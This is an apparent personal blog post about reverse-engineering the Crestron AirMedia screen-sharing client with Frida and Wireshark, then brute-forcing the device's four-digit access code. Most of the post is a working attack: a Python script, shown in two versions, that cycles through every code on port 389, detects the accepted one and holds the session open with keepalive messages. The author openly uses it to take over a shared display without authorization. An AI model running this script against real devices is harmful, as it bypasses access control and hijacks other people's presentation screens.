Sunday, April 3, 2016

Bruteforcing Crestron Airmedia



I was doing some reverse engineering to figure out how I can hook into Crestron Airmedia desktop client and bruteforce 4 digit code using Frida (kinda like this http://blog.mdsec.co.uk/2015/04/instrumenting-android-applications-with.html ) I spent some time with IDA and Immunity but didn’t figure it out. I did get better at IDA and Immunity though, so it was worth it. I might look into Android client next time since you can easily just decomplie it and look at the code. I ended up using python to do bruteforce.

I don’t have a good reason for why I did this. Besides being able to display my screen to bunch of people without knowing the 4 digit code, I can’t do anything else. It's good enough for Rick Rolling people from far away.

I started my analysis with looking at ‘send’ function. I want to know what’s being sent to the Airmedia device. Last time, I noticed that wppaliveROCK was sent by my machine to the Airmedia device after I connected to it and the device replied with wppaliveROLL.

Anyways. Let’s start with tracing ‘send’. First, we need to know what args are supplied to send and MSDN has pretty good documentation. https://msdn.microsoft.com/en-us/library/windows/desktop/ms740149(v=vs.85).aspx

SEND ( SOCKET, *BUF, LEN, FLAGS )

*BUF is a pointer to the data that will get sent
LEN is # of bytes for the data being sent

BUF and LEN is what we care about.

I ran frida-trace -i “sent” Airmedia.exe

And thankfully, frida auto-generates a file for us that we’re gonna make changes to it.

This is what’s in my send.js file
{
   onEnter: function (log, args, state) {
       log("send(" + args[0] + ")");
log(hexdump(args[1],{length:args[2].toInt32()}));
log("send2(" + args[2] + ")");
log("send3(" + args[3] + ")");
   },
   onLeave: function (log, retval, state) {
   }
}

Args[1] points to our data, args[2] is size.

Frida implemented hexdump feature recently and it’s really helpful. You can get more information here: http://www.frida.re/docs/javascript-api/#global

I entered my data and clicked ‘Connect’

Notice that wppaliveROCK is being sent.

Here’s the 4 digit code being sent.

I know it’s using port 389 because I confirmed with Wireshark. I also captured what Airmedia returned when I sent an incorrect code. It was 777070636d6400009300, which is 'wppcmd' and some other hex data.

Now we can just send this using Python and if a 4 digit code doesn’t return 777070636d6400009300, then that’s our code.

I wrote this simple script to do bruteforce:
import socket               
from time import sleep
s = socket.socket()         
import binascii
import sys

IP = sys.argv[1]
starti = int(sys.argv[2])
endi = int(sys.argv[3])

s.connect((IP, 389))

while True:
for pw in range(starti,endi):
sendstart = "wppcmd\x00\x00\x92John\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\n\x00\x02\x0f"
sendend = "\x00\x00\x00\x00\n\n\x14\x00\x01\x00\x00\x02%\x9dMOPSDK\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
sendstr = sendstart + str(pw).zfill(4) + sendend
s.send(sendstr)
recvdata = s.recv(1024)
if binascii.hexlify(recvdata) != "777070636d6400009300":
print recvdata
print str(pw).zfill(4)
quit()

I ran it and it worked.

Of course, when I went to desktop app and tried to use the code, it said Nope. (I noticed on the TV that Airmedia changes the code after a few seconds)

Then I realized that wppaliveROCK might be the issue, so I added that to my script and it runs whenever the 4 digit code turns out to be correct.

Here’s my new python script:
import socket               
from time import sleep
s = socket.socket()         
import binascii
import sys

IP = sys.argv[1]
starti = int(sys.argv[2])
endi = int(sys.argv[3])

s.connect((IP, 389))

while True:
for pw in range(starti,endi):
sendstart = "wppcmd\x00\x00\x92John\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\n\x00\x02\x0f"
sendend = "\x00\x00\x00\x00\n\n\x14\x00\x01\x00\x00\x02%\x9dMOPSDK\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
sendstr = sendstart + str(pw).zfill(4) + sendend
s.send(sendstr)
recvdata = s.recv(1024)
if binascii.hexlify(recvdata) != "777070636d6400009300":
print recvdata
print str(pw).zfill(4)
print "Starting session handling"
while True:
s.send("wppaliveROCK")
s.recv(1024)

And here it is in action

And sure enough, that code works!


I am a bit disappointed that I couldn't figure out how I can hook into the application and do but, of course, I didn't expect it be that simple either.

Check out these links: